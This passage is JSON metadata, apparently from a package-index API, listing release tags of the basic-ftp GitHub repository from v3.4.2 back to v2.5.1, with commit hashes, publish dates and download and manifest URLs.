tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a